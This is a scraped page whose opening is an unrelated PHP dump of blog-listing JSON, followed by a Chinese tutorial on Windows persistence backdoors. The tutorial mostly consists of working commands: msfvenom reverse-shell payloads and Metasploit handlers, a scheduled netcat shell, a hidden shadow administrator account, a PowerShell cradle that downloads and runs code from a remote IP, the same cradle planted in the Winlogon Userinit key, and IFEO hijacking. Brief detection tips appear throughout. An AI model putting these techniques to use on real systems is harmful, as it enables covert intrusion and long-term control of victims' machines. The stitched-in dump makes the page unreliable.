string(7723) "{"docs":[{"id":"158579","text":"\u3010Python\u3011Tkinter\u56fe\u5f62\u754c\u9762\u8bbe\u8ba1\uff08GUI\uff09","intro":"\u76ee\u5f55\n\nECharts\n\u5f02\u6b65\u52a0\u8f7d\n\n\n\nECharts\r\n\u6570\u636e\u53ef\u89c6\u5316\u5728\u8fc7\u53bb\u51e0\u5e74\u4e2d\u53d6\u5f97\u4e86\u5de8\u5927\u8fdb\u5c55\u3002\u5f00\u53d1\u4eba\u5458\u5bf9\u53ef\u89c6\u5316\u4ea7\u54c1\u7684\u671f\u671b\u4e0d\u518d\u662f\u7b80\u5355\u7684\u56fe\u8868\u521b\u5efa\u5de5\u5177\uff0c\u800c\u662f\u5728\u4ea4\u4e92\u3001\u6027\u80fd\u3001\u6570\u636e\u5904\u7406\u7b49\u65b9\u9762\u6709\u66f4\u9ad8\u7684\u8981\u6c42\u3002\r\nchart.setOption({\r\n color: [\r\n ","username":"HGNET","tagsname":"","tagsid":"","catesname":"","catesid":"","createtime":"1641183196","_id":"158579"},{"id":"158620","text":"python\u4e4bgui-tkinter\u53ef\u89c6\u5316\u7f16\u8f91\u754c\u9762 \u81ea\u52a8\u751f\u6210\u4ee3\u7801","intro":"\u76ee\u5f55\n\nECharts\n\u5f02\u6b65\u52a0\u8f7d\n\n\n\nECharts\r\n\u6570\u636e\u53ef\u89c6\u5316\u5728\u8fc7\u53bb\u51e0\u5e74\u4e2d\u53d6\u5f97\u4e86\u5de8\u5927\u8fdb\u5c55\u3002\u5f00\u53d1\u4eba\u5458\u5bf9\u53ef\u89c6\u5316\u4ea7\u54c1\u7684\u671f\u671b\u4e0d\u518d\u662f\u7b80\u5355\u7684\u56fe\u8868\u521b\u5efa\u5de5\u5177\uff0c\u800c\u662f\u5728\u4ea4\u4e92\u3001\u6027\u80fd\u3001\u6570\u636e\u5904\u7406\u7b49\u65b9\u9762\u6709\u66f4\u9ad8\u7684\u8981\u6c42\u3002\r\nchart.setOption({\r\n color: [\r\n ","username":"darkspr","tagsname":"","tagsid":"","catesname":"","catesid":"","createtime":"1641183190","_id":"158620"},{"id":"158603","text":"python3.6 +tkinter GUI\u7f16\u7a0b \u5b9e\u73b0\u754c\u9762\u5316\u7684\u6587\u672c\u5904\u7406\u5de5\u5177","intro":"\u76ee\u5f55\n\nECharts\n\u5f02\u6b65\u52a0\u8f7d\n\n\n\nECharts\r\n\u6570\u636e\u53ef\u89c6\u5316\u5728\u8fc7\u53bb\u51e0\u5e74\u4e2d\u53d6\u5f97\u4e86\u5de8\u5927\u8fdb\u5c55\u3002\u5f00\u53d1\u4eba\u5458\u5bf9\u53ef\u89c6\u5316\u4ea7\u54c1\u7684\u671f\u671b\u4e0d\u518d\u662f\u7b80\u5355\u7684\u56fe\u8868\u521b\u5efa\u5de5\u5177\uff0c\u800c\u662f\u5728\u4ea4\u4e92\u3001\u6027\u80fd\u3001\u6570\u636e\u5904\u7406\u7b49\u65b9\u9762\u6709\u66f4\u9ad8\u7684\u8981\u6c42\u3002\r\nchart.setOption({\r\n color: [\r\n ","username":"chenyuebai","tagsname":"","tagsid":"","catesname":"","catesid":"","createtime":"1641183187","_id":"158603"},{"id":"27850","text":"Python GUI\u4e4btkinter\u7a97\u53e3\u89c6\u7a97\u6559\u7a0b\u5927\u96c6\u5408\uff08\u770b\u8fd9\u7bc7\u5c31\u591f\u4e86\uff09 - \u6d2a\u536b","intro":"\u76ee\u5f55\n\nECharts\n\u5f02\u6b65\u52a0\u8f7d\n\n\n\nECharts\r\n\u6570\u636e\u53ef\u89c6\u5316\u5728\u8fc7\u53bb\u51e0\u5e74\u4e2d\u53d6\u5f97\u4e86\u5de8\u5927\u8fdb\u5c55\u3002\u5f00\u53d1\u4eba\u5458\u5bf9\u53ef\u89c6\u5316\u4ea7\u54c1\u7684\u671f\u671b\u4e0d\u518d\u662f\u7b80\u5355\u7684\u56fe\u8868\u521b\u5efa\u5de5\u5177\uff0c\u800c\u662f\u5728\u4ea4\u4e92\u3001\u6027\u80fd\u3001\u6570\u636e\u5904\u7406\u7b49\u65b9\u9762\u6709\u66f4\u9ad8\u7684\u8981\u6c42\u3002\r\nchart.setOption({\r\n color: [\r\n ","username":"shwee","tagsname":"","tagsid":"","catesname":"","catesid":"","createtime":"1641183186","_id":"27850"},{"id":"158605","text":"Python GUI\u7f16\u7a0b(Tkinter) windows\u754c\u9762\u5f00\u53d1","intro":"\u76ee\u5f55\n\nECharts\n\u5f02\u6b65\u52a0\u8f7d\n\n\n\nECharts\r\n\u6570\u636e\u53ef\u89c6\u5316\u5728\u8fc7\u53bb\u51e0\u5e74\u4e2d\u53d6\u5f97\u4e86\u5de8\u5927\u8fdb\u5c55\u3002\u5f00\u53d1\u4eba\u5458\u5bf9\u53ef\u89c6\u5316\u4ea7\u54c1\u7684\u671f\u671b\u4e0d\u518d\u662f\u7b80\u5355\u7684\u56fe\u8868\u521b\u5efa\u5de5\u5177\uff0c\u800c\u662f\u5728\u4ea4\u4e92\u3001\u6027\u80fd\u3001\u6570\u636e\u5904\u7406\u7b49\u65b9\u9762\u6709\u66f4\u9ad8\u7684\u8981\u6c42\u3002\r\nchart.setOption({\r\n color: [\r\n ","username":"itfat","tagsname":"","tagsid":"","catesname":"","catesid":"","createtime":"1641183184","_id":"158605"},{"id":"28228","text":"tkinter python\uff08\u56fe\u5f62\u5f00\u53d1\u754c\u9762\uff09","intro":"\u76ee\u5f55\n\nECharts\n\u5f02\u6b65\u52a0\u8f7d\n\n\n\nECharts\r\n\u6570\u636e\u53ef\u89c6\u5316\u5728\u8fc7\u53bb\u51e0\u5e74\u4e2d\u53d6\u5f97\u4e86\u5de8\u5927\u8fdb\u5c55\u3002\u5f00\u53d1\u4eba\u5458\u5bf9\u53ef\u89c6\u5316\u4ea7\u54c1\u7684\u671f\u671b\u4e0d\u518d\u662f\u7b80\u5355\u7684\u56fe\u8868\u521b\u5efa\u5de5\u5177\uff0c\u800c\u662f\u5728\u4ea4\u4e92\u3001\u6027\u80fd\u3001\u6570\u636e\u5904\u7406\u7b49\u65b9\u9762\u6709\u66f4\u9ad8\u7684\u8981\u6c42\u3002\r\nchart.setOption({\r\n color: [\r\n ","username":"yudanqu","tagsname":"","tagsid":"","catesname":"","catesid":"","createtime":"1641183159","_id":"28228"},{"id":"158613","text":"Tkinter\u56fe\u5f62\u754c\u9762\u8bbe\u8ba1\uff08GUI\uff09","intro":"\u76ee\u5f55\n\nECharts\n\u5f02\u6b65\u52a0\u8f7d\n\n\n\nECharts\r\n\u6570\u636e\u53ef\u89c6\u5316\u5728\u8fc7\u53bb\u51e0\u5e74\u4e2d\u53d6\u5f97\u4e86\u5de8\u5927\u8fdb\u5c55\u3002\u5f00\u53d1\u4eba\u5458\u5bf9\u53ef\u89c6\u5316\u4ea7\u54c1\u7684\u671f\u671b\u4e0d\u518d\u662f\u7b80\u5355\u7684\u56fe\u8868\u521b\u5efa\u5de5\u5177\uff0c\u800c\u662f\u5728\u4ea4\u4e92\u3001\u6027\u80fd\u3001\u6570\u636e\u5904\u7406\u7b49\u65b9\u9762\u6709\u66f4\u9ad8\u7684\u8981\u6c42\u3002\r\nchart.setOption({\r\n color: [\r\n ","username":"pywjh","tagsname":"","tagsid":"","catesname":"","catesid":"","createtime":"1641183158","_id":"158613"},{"id":"341361","text":"\u91cf\u5316\u5206\u6790\u83b7\u53d6\u6570\u636e\u76843\u79cd\u59ff\u52bf\uff08\u538b\u7bb1\u5e95\u7684\u795e\u5668Tushare\uff09","intro":"\u76ee\u5f55\n\nECharts\n\u5f02\u6b65\u52a0\u8f7d\n\n\n\nECharts\r\n\u6570\u636e\u53ef\u89c6\u5316\u5728\u8fc7\u53bb\u51e0\u5e74\u4e2d\u53d6\u5f97\u4e86\u5de8\u5927\u8fdb\u5c55\u3002\u5f00\u53d1\u4eba\u5458\u5bf9\u53ef\u89c6\u5316\u4ea7\u54c1\u7684\u671f\u671b\u4e0d\u518d\u662f\u7b80\u5355\u7684\u56fe\u8868\u521b\u5efa\u5de5\u5177\uff0c\u800c\u662f\u5728\u4ea4\u4e92\u3001\u6027\u80fd\u3001\u6570\u636e\u5904\u7406\u7b49\u65b9\u9762\u6709\u66f4\u9ad8\u7684\u8981\u6c42\u3002\r\nchart.setOption({\r\n color: [\r\n ","username":"casual","tagsname":"","tagsid":"","catesname":"","catesid":"","createtime":"1641183069","_id":"341361"},{"id":"238879","text":"\u9762\u5411\u4ea4\u6613\u7684\u65e5\u5185\u9ad8\u9891\u91cf\u5316\u4ea4\u6613\u5e73\u53f0\u7b14\u8bb0","intro":"\u76ee\u5f55\n\nECharts\n\u5f02\u6b65\u52a0\u8f7d\n\n\n\nECharts\r\n\u6570\u636e\u53ef\u89c6\u5316\u5728\u8fc7\u53bb\u51e0\u5e74\u4e2d\u53d6\u5f97\u4e86\u5de8\u5927\u8fdb\u5c55\u3002\u5f00\u53d1\u4eba\u5458\u5bf9\u53ef\u89c6\u5316\u4ea7\u54c1\u7684\u671f\u671b\u4e0d\u518d\u662f\u7b80\u5355\u7684\u56fe\u8868\u521b\u5efa\u5de5\u5177\uff0c\u800c\u662f\u5728\u4ea4\u4e92\u3001\u6027\u80fd\u3001\u6570\u636e\u5904\u7406\u7b49\u65b9\u9762\u6709\u66f4\u9ad8\u7684\u8981\u6c42\u3002\r\nchart.setOption({\r\n color: [\r\n ","username":"TaiYangXiManYouZhe","tagsname":"","tagsid":"","catesname":"","catesid":"","createtime":"1641183067","_id":"238879"},{"id":"238890","text":"2021 \u6700\u65b0\u91cf\u5316\u6295\u8d44\u4ea4\u6613\u8d44\u6e90\u6c47\u603b","intro":"\u76ee\u5f55\n\nECharts\n\u5f02\u6b65\u52a0\u8f7d\n\n\n\nECharts\r\n\u6570\u636e\u53ef\u89c6\u5316\u5728\u8fc7\u53bb\u51e0\u5e74\u4e2d\u53d6\u5f97\u4e86\u5de8\u5927\u8fdb\u5c55\u3002\u5f00\u53d1\u4eba\u5458\u5bf9\u53ef\u89c6\u5316\u4ea7\u54c1\u7684\u671f\u671b\u4e0d\u518d\u662f\u7b80\u5355\u7684\u56fe\u8868\u521b\u5efa\u5de5\u5177\uff0c\u800c\u662f\u5728\u4ea4\u4e92\u3001\u6027\u80fd\u3001\u6570\u636e\u5904\u7406\u7b49\u65b9\u9762\u6709\u66f4\u9ad8\u7684\u8981\u6c42\u3002\r\nchart.setOption({\r\n color: [\r\n ","username":"xgqfrms","tagsname":"","tagsid":"","catesname":"","catesid":"","createtime":"1641183063","_id":"238890"}],"count":535118}" array(2) { ["docs"]=> array(10) { [0]=> array(10) { ["id"]=> string(6) "158579" ["text"]=> string(46) "【Python】Tkinter图形界面设计(GUI)" ["intro"]=> string(288) "目录 ECharts 异步加载 ECharts 数据可视化在过去几年中取得了巨大进展。开发人员对可视化产品的期望不再是简单的图表创建工具,而是在交互、性能、数据处理等方面有更高的要求。 chart.setOption({ color: [ " ["username"]=> string(5) "HGNET" ["tagsname"]=> string(0) "" ["tagsid"]=> string(0) "" ["catesname"]=> string(0) "" ["catesid"]=> string(0) "" ["createtime"]=> string(10) "1641183196" ["_id"]=> string(6) "158579" } [1]=> array(10) { ["id"]=> string(6) "158620" ["text"]=> string(60) "python之gui-tkinter可视化编辑界面 自动生成代码" ["intro"]=> string(288) "目录 ECharts 异步加载 ECharts 数据可视化在过去几年中取得了巨大进展。开发人员对可视化产品的期望不再是简单的图表创建工具,而是在交互、性能、数据处理等方面有更高的要求。 chart.setOption({ color: [ " ["username"]=> string(7) "darkspr" ["tagsname"]=> string(0) "" ["tagsid"]=> string(0) "" ["catesname"]=> string(0) "" ["catesid"]=> string(0) "" ["createtime"]=> string(10) "1641183190" ["_id"]=> string(6) "158620" } [2]=> array(10) { ["id"]=> string(6) "158603" ["text"]=> string(66) "python3.6 +tkinter GUI编程 实现界面化的文本处理工具" ["intro"]=> string(288) "目录 ECharts 异步加载 ECharts 数据可视化在过去几年中取得了巨大进展。开发人员对可视化产品的期望不再是简单的图表创建工具,而是在交互、性能、数据处理等方面有更高的要求。 chart.setOption({ color: [ " ["username"]=> string(10) "chenyuebai" ["tagsname"]=> string(0) "" ["tagsid"]=> string(0) "" ["catesname"]=> string(0) "" ["catesid"]=> string(0) "" ["createtime"]=> string(10) "1641183187" ["_id"]=> string(6) "158603" } [3]=> array(10) { ["id"]=> string(5) "27850" ["text"]=> string(80) "Python GUI之tkinter窗口视窗教程大集合(看这篇就够了) - 洪卫" ["intro"]=> string(288) "目录 ECharts 异步加载 ECharts 数据可视化在过去几年中取得了巨大进展。开发人员对可视化产品的期望不再是简单的图表创建工具,而是在交互、性能、数据处理等方面有更高的要求。 chart.setOption({ color: [ " ["username"]=> string(5) "shwee" ["tagsname"]=> string(0) "" ["tagsid"]=> string(0) "" ["catesname"]=> string(0) "" ["catesid"]=> string(0) "" ["createtime"]=> string(10) "1641183186" ["_id"]=> string(5) "27850" } [4]=> array(10) { ["id"]=> string(6) "158605" ["text"]=> string(45) "Python GUI编程(Tkinter) windows界面开发" ["intro"]=> string(288) "目录 ECharts 异步加载 ECharts 数据可视化在过去几年中取得了巨大进展。开发人员对可视化产品的期望不再是简单的图表创建工具,而是在交互、性能、数据处理等方面有更高的要求。 chart.setOption({ color: [ " ["username"]=> string(5) "itfat" ["tagsname"]=> string(0) "" ["tagsid"]=> string(0) "" ["catesname"]=> string(0) "" ["catesid"]=> string(0) "" ["createtime"]=> string(10) "1641183184" ["_id"]=> string(6) "158605" } [5]=> array(10) { ["id"]=> string(5) "28228" ["text"]=> string(39) "tkinter python(图形开发界面)" ["intro"]=> string(288) "目录 ECharts 异步加载 ECharts 数据可视化在过去几年中取得了巨大进展。开发人员对可视化产品的期望不再是简单的图表创建工具,而是在交互、性能、数据处理等方面有更高的要求。 chart.setOption({ color: [ " ["username"]=> string(7) "yudanqu" ["tagsname"]=> string(0) "" ["tagsid"]=> string(0) "" ["catesname"]=> string(0) "" ["catesid"]=> string(0) "" ["createtime"]=> string(10) "1641183159" ["_id"]=> string(5) "28228" } [6]=> array(10) { ["id"]=> string(6) "158613" ["text"]=> string(34) "Tkinter图形界面设计(GUI)" ["intro"]=> string(288) "目录 ECharts 异步加载 ECharts 数据可视化在过去几年中取得了巨大进展。开发人员对可视化产品的期望不再是简单的图表创建工具,而是在交互、性能、数据处理等方面有更高的要求。 chart.setOption({ color: [ " ["username"]=> string(5) "pywjh" ["tagsname"]=> string(0) "" ["tagsid"]=> string(0) "" ["catesname"]=> string(0) "" ["catesid"]=> string(0) "" ["createtime"]=> string(10) "1641183158" ["_id"]=> string(6) "158613" } [7]=> array(10) { ["id"]=> string(6) "341361" ["text"]=> string(68) "量化分析获取数据的3种姿势(压箱底的神器Tushare)" ["intro"]=> string(288) "目录 ECharts 异步加载 ECharts 数据可视化在过去几年中取得了巨大进展。开发人员对可视化产品的期望不再是简单的图表创建工具,而是在交互、性能、数据处理等方面有更高的要求。 chart.setOption({ color: [ " ["username"]=> string(6) "casual" ["tagsname"]=> string(0) "" ["tagsid"]=> string(0) "" ["catesname"]=> string(0) "" ["catesid"]=> string(0) "" ["createtime"]=> string(10) "1641183069" ["_id"]=> string(6) "341361" } [8]=> array(10) { ["id"]=> string(6) "238879" ["text"]=> string(51) "面向交易的日内高频量化交易平台笔记" ["intro"]=> string(288) "目录 ECharts 异步加载 ECharts 数据可视化在过去几年中取得了巨大进展。开发人员对可视化产品的期望不再是简单的图表创建工具,而是在交互、性能、数据处理等方面有更高的要求。 chart.setOption({ color: [ " ["username"]=> string(18) "TaiYangXiManYouZhe" ["tagsname"]=> string(0) "" ["tagsid"]=> string(0) "" ["catesname"]=> string(0) "" ["catesid"]=> string(0) "" ["createtime"]=> string(10) "1641183067" ["_id"]=> string(6) "238879" } [9]=> array(10) { ["id"]=> string(6) "238890" ["text"]=> string(41) "2021 最新量化投资交易资源汇总" ["intro"]=> string(288) "目录 ECharts 异步加载 ECharts 数据可视化在过去几年中取得了巨大进展。开发人员对可视化产品的期望不再是简单的图表创建工具,而是在交互、性能、数据处理等方面有更高的要求。 chart.setOption({ color: [ " ["username"]=> string(7) "xgqfrms" ["tagsname"]=> string(0) "" ["tagsid"]=> string(0) "" ["catesname"]=> string(0) "" ["catesid"]=> string(0) "" ["createtime"]=> string(10) "1641183063" ["_id"]=> string(6) "238890" } } ["count"]=> int(535118) } Linux、Windows权限维持常用后门学习总结 - 爱码网
heycomputer

Referrence:https://www.secpulse.com/archives/103301.html

MSF模块

Metasploit自带有权限维持相关后门,常用的有:通过服务启动(metsvc);通过启动项启动(persistence);通过计划任务(scheduleme&schtasksabuse)。

1、生成payload
msfvenom windows/meterpreter/reverse_tcp LHOST=192.168.2.11 LPORT=23333 X >xx.exe
2、监听
msf> use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set LHOST 192.168.2.11
set LPORT 23333
exploit
3、运行payload就会获取到一个meterpreter shell

Metsvc

metsvc是通过服务启动,服务名是meterpreter。
启动:
meterpreter> run metsvc -A
移除:
meterpreter> run metsvc -r

检测及查杀

Autoruns
Process Explorer
TCPView

Persistence

persistence是通过启动项启动
meterpreter> run persistence –X –i 50 –p 23333 –r 192.168.2.11(YOUR MSF IP)
参数解析:
-X 开机启动,注册表位置:HKLM\Software\Microsoft\Windows\CurrentVersion\Run
-U 当用户登录时自启动,注册表位置:HKCU\Software\Microsoft\Windows\CurrentVersion\Run
-S 作为服务启动,注册表位置:HKLM\Software\Microsoft\Windows\CurrentVersion\Run
-L 后门传到远程主机的位置默认为%TEMP%
-P 使用的Payload,默认windows/meterpreter/reverse_tcp,该默认的payload生成的后门为32位程序。因此,当目标机器为64位系统时,留下的后门将无法运行
-i 连接超时时间 –p 端口 –r remoteIP
当使用run persistence进行持久化时默认远程路径会推送到%TEMP%("C:\Users\AppData\Local\Temp\")。当用户重启或者temp目录下存在数字id,persistence持久化就会出错。
meterpreter> run persistence -S -i 5 -p 23333 -r 192.168.2.11 -L c:\\Windows\\System32
该命令脚本注册自启动注册表位置:
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run
可以使用如下命令查看注册表的Key:
meterpreter> reg enumkey -k HKLM\\Software\\Microsoft\\Windows\\CurrentVersion\\Run
查询Values
meterpreter> reg queryval -k HKLM\\Software\\Microsoft\\Windows\\CurrentVersion\\Run -v UxMvAJkbedJu
除Values
meterpreter> reg deleteval -k HKLM\\Software\\Microsoft\\Windows\\CurrentVersion\\Run -v MDxTmrUjRGnvIaT

检测及查杀

检查注册表相关键值
Autoruns
Process Monitor

Scheduleme&Schtasksabuse

scheduleme和schtasksabuse是通过利用计划任务启动
meterpreter> run scheduleme -m 1 -e /tmp/nc.exe -o "-e cmd.exe -L -p 8080"
# 上传nc并创建计划任务每一分钟执行一次\'nc -e cmd.exe -L -p 8080\'
meterpreter> run schtasksabuse -t 192.168.2.7 -c "cmd /c calc.exe" -d 30
# 每隔30秒执行一次calc.exe

检测及查杀

Autoruns

 

计划任务

无论是windows还是linux操作系统都提供计划任务功能,来实现定时或者周期性的执行一些指令。

图形化工具:taskschd.msc
命令行工具:schtasks.exe
SCHTASKS /parameter [arguments]
/Create         创建新计划任务
/Delete         删除计划任务
/Query          显示所有计划任务
/Run            运行计划任务
/End            中止当前正在运行的计划任务
Payload examples:
> SCHTASKS /Create /TN update /TR xx(待执行的命令)  /DELAY ONLOGON /F /RL HIGHEST

检测及查杀

Autoruns

影子账户

影子账户是指除了在注册表里面有用户记录,其他地方都不存在用户的信息。net user或计算机管理里本地用户和用户组是看不到用户信息的,具有很好的隐蔽性质。

1、用\'$\'创建匿名用户,并加到administrator组
cmd> net user admin$ 123456 /add
cmd> net localgroup administrators admin$ /add
2、导出匿名用户对应的sam目录下的注册表键值
cmd> regedt32.exe
打开HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users键值,然后找到admin$对应的类型以及文件夹,以及administrator对应的文件夹,将administrator文件夹中的F值内容复制到admin$对应文件夹F值中。
PS:注意Sam键值在属性中给予administrator完全控制以及读取的权限,默认是不允许的
3、删除匿名用户
cmd> net user admin$ /del
4、还原匿名用户
HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users\Names\admin$
双击导出的注册表文件,用先前导出的注册表键值对注册表进行修改,就可以重新还原之前的匿名用户

检测及查杀

1、删除注册表HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users\下对应帐户的键值
2、隐藏帐户的登录记录,可通过查看日志获取
注:工具HideAdmin能自动实现以上的创建和删除操作

 

PowerShell后门

Empire框架

https://github.com/EmpireProject/Empire

Schtasks-Backdoor

https://github.com/re4lity/Schtasks-Backdoor

 

MSF

msf> use exploit/multi/script/web_delivery
set payload windows/meterpreter/reverse_tcp
set LHOST 192.168.2.11
set target 2
run
PAYLOAD:
powershell.exe -nop -w hidden -c $w=new-object net.webclient;$w.proxy=[Net.WebRequest]::GetSystemWebProxy();$w.Proxy.Credentials=[Net.CredentialCache]::DefaultCredentials;IEX $w.downloadstring(\'http://192.168.2.11:8080/kaMhC1\');

MOF

https://wooyun.js.org/drops/Powershell%E4%B9%8BMOF%E5%90%8E%E9%97%A8.html

 

注册表

注册表可以理解为一个树状结构的数据库,它具有一些特殊的数据类型用来存储一些数据满足应用程序的需要。

名称 作用
HKEY_CLASSES_ROOT 用于存储一些文档类型、类、类的关联属性
HKEY_CURRENT_CONFIG 用户存储有关本地计算机系统的当前硬件配置文件信息
HKEY_CURRENT_USER 用于存储当前用户配置项
HKEY_CURRENT_USER_LOCAL_SETTINGS 用于存储当前用户对计算机的配置项
HKEY_LOCAL_MACHINE 用于存储当前用户物理状态
HKEY_USERS 用于存储新用户的默认配置项

 

Run/RunOnce Keys

Run键值代表着开机启动项,也就是说在这个项下的键值会随着开机启动(这里的开机是指用户登录,也就是说只要有登录操作就会执行)。

RunOnce键值类似于 Run 键值,唯一的区别在于,RunOnce 键值只执行一次,操作执行后会被自动删除。

 

用户级

HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunOnce

管理员

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run

检测及查杀

检测注册表相关键值
Autoruns

BootExecute Key

可以通过它来实现启动Natvice程序,Native程序在驱动程序和系统核心加载后将被加载,此时会话管理器(smss.exe)进行windowsNT用户模式并开始按顺序启动native程序。由于smss.exe在Windows子系统加载之前启动,因此会调用配置子系统来加载当前的配置单元。具体注册表键值为:

HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\hivelist
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet002\Control\Session Manager

上述注册表下有一个名为BootExecute的多字符串值键,它的默认值是autocheck autochk *,用于系统启动时的某些自动检查。这个启动项目里的程序是在系统图形界面完成前就被执行的,所以具有很高的优先级。

检测及查杀

检查注册表相关键值:
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\hivelist
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet002\Control\Session Manager

Userinit Key

Userinit注册表键的作用是在用户进行登陆时,WinLogon进程加载的指定的login scripts,可以更改它的值来添加与删除程序。具体键值:

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon

一般情况下,其默认值为userinit.exe,由于该子键的值中可使用逗号分隔开多个程序,因此,在键值的数值中可加入其它程序。

结合上面powershell中的msf方法,可以达到无文件后门效果:

Powershell实现:
Set-ItemProperty "HKLM:\SOFTWARE\Microsoft\WINDOWS NT\CurrentVersion\Winlogon" -name Userinit -value "C:\Windows\system32\userinit.exe,powershell.exe -nop -w hidden -c $w=new-object net.webclient;$w.proxy=[Net.WebRequest]::GetSystemWebProxy();$w.Proxy.Credentials=[Net.CredentialCache]::DefaultCredentials;IEX $w.downloadstring(\'http://192.168.2.11:8080/kaMhC1\');"
# powershell反弹shell的payload参照上面msf中的web_delivery模块

检测及查杀

查看HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Userinit

LogonScripts key

Logon Scripts能够优先于杀毒软件执行,绕过杀毒软件对敏感操作的拦截,具体键值:

HKEY_CURRENT_USER\Environment\
创建字符串键值: UserInitMprLogonScript
键值设置为bat的绝对路径:c:\1.bat

检测及查杀

查看HKEY_CURRENT_USER\Environment\UserInitMprLogonScript

Startup Keys

开始菜单启动项,指示启动文件夹的位置,User Shell Folders优先于Shell Folders。

HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders

检测及查杀

检查相关注册表键值
Process Explorer

Browser Helper Objects

本质上是Internet Explorer启动时加载的DLL模块

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Browser Helper Objects

检测及查杀

检查注册表:HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Browser Helper Objects
Process Explorer

AppInit_DLLs

注册表中默认存在两个注册表项:AppInit_DLLs和LoadAppInit_DLLs(win2003没有,但是可以新建),Use*.dll被加载到进程时,会读取AppInit_DLLs注册表项,如果有值,调用LoadLibrary() api加载用户dll。PS:xp系统会忽略LoadAppInit_DLLs注册表项

严格来讲,此dll注入不是注入到所有运行进程,而是注入到加载Use*.dll的进程中

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows\AppInit_DLLs

检测及查杀

检查注册表:HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows\AppInit_DLLs
查看异常dll文件
通过Process Explorer查看进程加载dll

文件关联

文件关联就是指系统把指定扩展名的文件自动关联到相应的应用程序,例如 .doc 默认打开方式是 Microsoft Word,当用户双击.doc文件时时就会启动 Word 打开该文件。

Windows的资源管理器识别文件类型是由扩展名决定的(而并不是文件头决定文件类型)。首先扩展名会对应一种文件类型,这种文件类型的不同操作再对应到不同的具体命令。

比如:

.txt --> txtfile --> { "open": "notepad.exe %1", "edit": "notepad.exe %1", ... }
文件扩展名与文件类型的对应关系,可以通过assoc命令查看或修改
cmd> assoc .txt
.txt=txtfile
cmd> ftype txtfile
txtfile=%SystemRoot%\system32\NOTEPAD.EXE %1

相关的注册表:

HKEY_CURRENT_USER\Software\Classe    //保存了当前用户的文件关联设置
HKEY_LOCAL_MACHINE\Software\Classe   //保存了本机上所有用户的设置
HKEY_CLASS_ROOT                      //上面两个位置下的键值合并,是为了访问方便而建立的视图
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\FileExts\
                                     //保存了右键选择"打开方式"改变默认的关联程序
# 用户双击文件时查找顺序:
# 首先检查...\\FileExts\\,找不到时查找HKCU,最后才是HKLM。因此检查一个文件是否与某个程序关联可以按照这个顺序检查。

检测及查杀

检查注册表:HKEY_LOCAL_MACHINE\Software\Classe 、HKEY_CLASS_ROOT
通过Process Explorer查看进程加载文件

映像劫持(IFEO)

映像劫持(Image File Execution Options)其实是Windows内设的用来调试程序的功能,但是现在却往往被病毒恶意利用。当用户双击对应的程序后,操作系统就会给外壳程序(例如"explorer.exe")发布相应的指令,其中包含有执行程序的路径和文件名,然后由外壳程序来执行该程序。事实上在该过程中,Windows还会在注册表的上述路径中查询所有的映像劫持子键,如果存在和该程序名称完全相同的子键,就查询对应子健中包含的"dubugger"键值名,并用其指定的程序路径来代替原始的程序,之后执行的是遭到"劫持"的虚假程序。

简单点说就是:当你打开的是程序A,而运行的确是程序B。

注册表位置:

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options

比如:

1、找到注册表"HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options"目录下的iexplore.exe
2、添加一个Debugger字符串值(REG_SZ),并且赋值为calc.exe的执行路径"c:\windows\system32\calc.exe"
3、运行iexplore.exe即可执行calc.exe
# 命令行添加:
# reg add "HKLM\HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\notepad.exe" /v debugger /t REG_SZ /d "c:\windows\system32\calc.exe"

但是这样设置直接是可以看到的,根据文章隐蔽后门——Image File Execution Options新玩法了解到可以修改GlobalFlag的值,达到程序A静默退出结束后,会执行程序B的效果,且在注册表看不到具体值,同时Autorun检测不到。

首先下载GFlages.exe的安装器dbg的安装包:
http://download.microsoft.com/download/A/6/A/A6AC035D-DA3F-4F0C-ADA4-37C8E5D34E3D/setup/WinSDKDebuggingTools_amd64/dbg_amd64.msi
1、点击关卡:Silent Process Exit
2、image处填写需要劫持的软件,比如:notepad.exe
3、Reporting Mode处勾选Enable Silent Process Exit Monitoring和Launch monitor process
4、Monitor Process处填写需要执行的软件,比如:c:\windows\system32\calc.exe
5、应用->确定
然后打开notepad.exe退出后即可看到calc.exe,同时notepad.exe对应的注册表中GlobalFlag无任何值
# 命令行:
# reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\notepad.exe" /v GlobalFlag /t REG_DWORD /d 512
